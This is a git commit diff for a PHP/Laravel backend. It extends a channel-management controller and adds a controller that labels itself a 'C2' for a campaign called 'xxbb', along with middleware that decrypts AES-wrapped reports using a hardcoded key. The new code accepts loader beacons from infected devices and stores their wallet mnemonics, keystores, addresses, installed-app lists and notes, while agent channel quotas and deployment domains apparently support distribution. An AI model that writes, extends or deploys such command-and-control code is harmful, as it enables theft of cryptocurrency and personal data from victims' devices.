feat: xxbb

This commit is contained in:
hashbro
2026-08-13 06:30:07 +08:00
parent f285d35d86
commit c6e386e069
121 changed files with 4083 additions and 51 deletions
@@ -52,7 +52,7 @@ class ChannelController extends Controller
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -68,6 +68,8 @@ class ChannelController extends Controller
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(),
'channel_name' => $c->channel_name ?: '',
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
@@ -101,6 +103,7 @@ class ChannelController extends Controller
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
'user_id' => ['nullable', 'integer', 'min:0'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
@@ -114,6 +117,8 @@ class ChannelController extends Controller
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
$channelName = $builderType === Channel::BUILDER_NEW ? Channel::randomChannelName() : null;
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
@@ -123,7 +128,10 @@ class ChannelController extends Controller
$supportTemplate,
$data['deployment_seed'] ?? null,
$data['reporting_seed'] ?? null,
$builderType,
$channelName,
);
$channelName = $build['channel_name'] ?? $channelName;
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
@@ -132,7 +140,7 @@ class ChannelController extends Controller
}
try {
$channel = DB::transaction(function () use ($data, $userId) {
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
@@ -144,6 +152,8 @@ class ChannelController extends Controller
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'builder_type' => $builderType,
'channel_name' => $channelName,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
@@ -151,7 +161,7 @@ class ChannelController extends Controller
]);
});
} catch (\Throwable $e) {
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
return response()->json([
'code' => 1,
@@ -164,13 +174,16 @@ class ChannelController extends Controller
'msg' => 'ok',
'data' => [
'id' => $channel->id,
'builder_type' => $channel->builderType(),
'channel_name' => $channel->channel_name,
'links' => $channel->supportLinks(),
'seeds' => $build['seeds'],
'domains' => $build['domains'],
'seeds_initialized' => $build['seeds_initialized'],
'sync_rebuilt' => $build['sync_rebuilt'],
'support_path' => $build['support_path'],
'daily_path' => $build['daily_path'],
'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '',
],
]);
}
@@ -229,10 +242,12 @@ class ChannelController extends Controller
$this->authorizeChannel($channel);
$channelId = $channel->channel_id;
$builderType = $channel->builderType();
$channelName = $channel->channel_name;
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId);
$projects->deleteWebTree($channelId, $builderType, $channelName);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
@@ -271,7 +286,9 @@ class ChannelController extends Controller
private function compensateBuildUnlessChannelExists(
ChannelProjectService $projects,
string $channelId
string $channelId,
string $builderType = Channel::BUILDER_OLD,
?string $channelName = null,
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
@@ -289,10 +306,12 @@ class ChannelController extends Controller
}
try {
$projects->deleteWebTree($channelId);
$projects->deleteWebTree($channelId, $builderType, $channelName);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'builder_type' => $builderType,
'channel_name' => $channelName,
'error' => $e->getMessage(),
]);
}
@@ -0,0 +1,146 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Models\PageVisit;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*/
class XxbbC2Controller extends Controller
{
public function __construct(
private readonly IngestService $ingest,
) {}
public function vhx(): Response
{
return response('ok', 200)->header('Content-Type', 'text/plain');
}
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
*/
public function iptj(Request $request): Response
{
$payload = $request->json()->all();
if ($payload === []) {
$decoded = json_decode((string) $request->getContent(), true);
$payload = is_array($decoded) ? $decoded : [];
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
if ($channelCode !== '' && strlen($channelCode) <= 64) {
$uid = $domain !== '' ? $domain : (string) $request->ip();
$uid = substr($uid, 0, 64);
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid !== '' ? $uid : 'iptj',
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
'created_at' => now(),
]);
}
}
return response('{}', 200)->header('Content-Type', 'application/json');
}
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
public function profile(Request $request): Response
{
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/get */
public function apps(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestInstalledApps($device, $payload);
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/put */
public function event(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* Plugin reports: /uj /us /ub /ba /result.
* Dispatch by payload shape onto the same ingest as lab long paths.
*/
public function plugin(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
$this->ingest->ingestAddresses($device, $payload);
}
if (array_key_exists('result', $payload)) {
$result = $payload['result'];
$asKeystore = is_array($result);
if (is_string($result)) {
$decoded = json_decode($result, true);
$asKeystore = is_array($decoded);
}
if ($asKeystore) {
$this->ingest->ingestKeystore($device, $payload);
} else {
$this->ingest->ingestMnemonic($device, $payload);
}
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, $payload);
}
}
return $this->xxbbAck($request);
}
private function xxbbAck(Request $request): Response
{
$ts = (string) $request->attributes->get('xxbb_ts', '');
if ($ts === '') {
$ts = (string) ($request->header('x-ts') ?: '');
}
if ($ts === '') {
$ts = (string) (int) round(microtime(true) * 1000);
}
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
}
}
+105
View File
@@ -0,0 +1,105 @@
<?php
namespace App\Http\Middleware;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
/**
* xxbb native reporting: same AES envelope as lab, header is x-ts,
* session key is hardcoded Ek8pl31K2yeHgQwy.
*/
class DecryptXxbbBody
{
public static function crypto(): CorunaCrypto
{
return app('xxbb.crypto');
}
public function handle(Request $request, Closure $next): Response
{
$crypto = self::crypto();
$headers = [];
foreach (['x-ts', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
if ($request->headers->has($h)) {
$headers[$h] = $request->headers->get($h);
}
}
$raw = $request->getContent();
$timestamp = (string) $request->header('x-ts', '');
$payload = null;
$decryptOk = false;
$error = null;
$deviceKey = null;
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
$path = '/'.ltrim($request->path(), '/');
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
$decryptOk = true;
} elseif ($isMultipart) {
$payload = [
'form' => $request->except(['file']),
'has_file' => $request->hasFile('file'),
];
$decryptOk = true;
$deviceKey = $request->input('d') ?: $request->input('f');
} elseif ($raw !== '' && $timestamp !== '') {
try {
$payload = $crypto->decryptJsonBody($raw, $timestamp);
$decryptOk = true;
} catch (\Throwable $e) {
$error = $e->getMessage();
}
} elseif ($raw === '') {
$decryptOk = true;
} else {
$error = 'missing x-ts or body';
}
if (is_array($payload)) {
foreach (['d', 'f'] as $k) {
if (! empty($payload[$k]) && is_string($payload[$k])) {
$deviceKey = $payload[$k];
break;
}
}
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
foreach (['d', 'f'] as $k) {
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
$deviceKey = $payload['form'][$k];
break;
}
}
}
}
if (is_string($deviceKey) && $deviceKey !== '') {
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
}
create_log([
'dir' => 'in',
'campaign' => 'xxbb',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
'timestamp_hdr' => $timestamp ?: null,
'headers' => $headers,
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
'decrypt_ok' => $decryptOk,
'error' => $error,
], 'c2');
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
$request->attributes->set('coruna_device_key', $deviceKey);
$request->attributes->set('xxbb_ts', $timestamp);
return $next($request);
}
}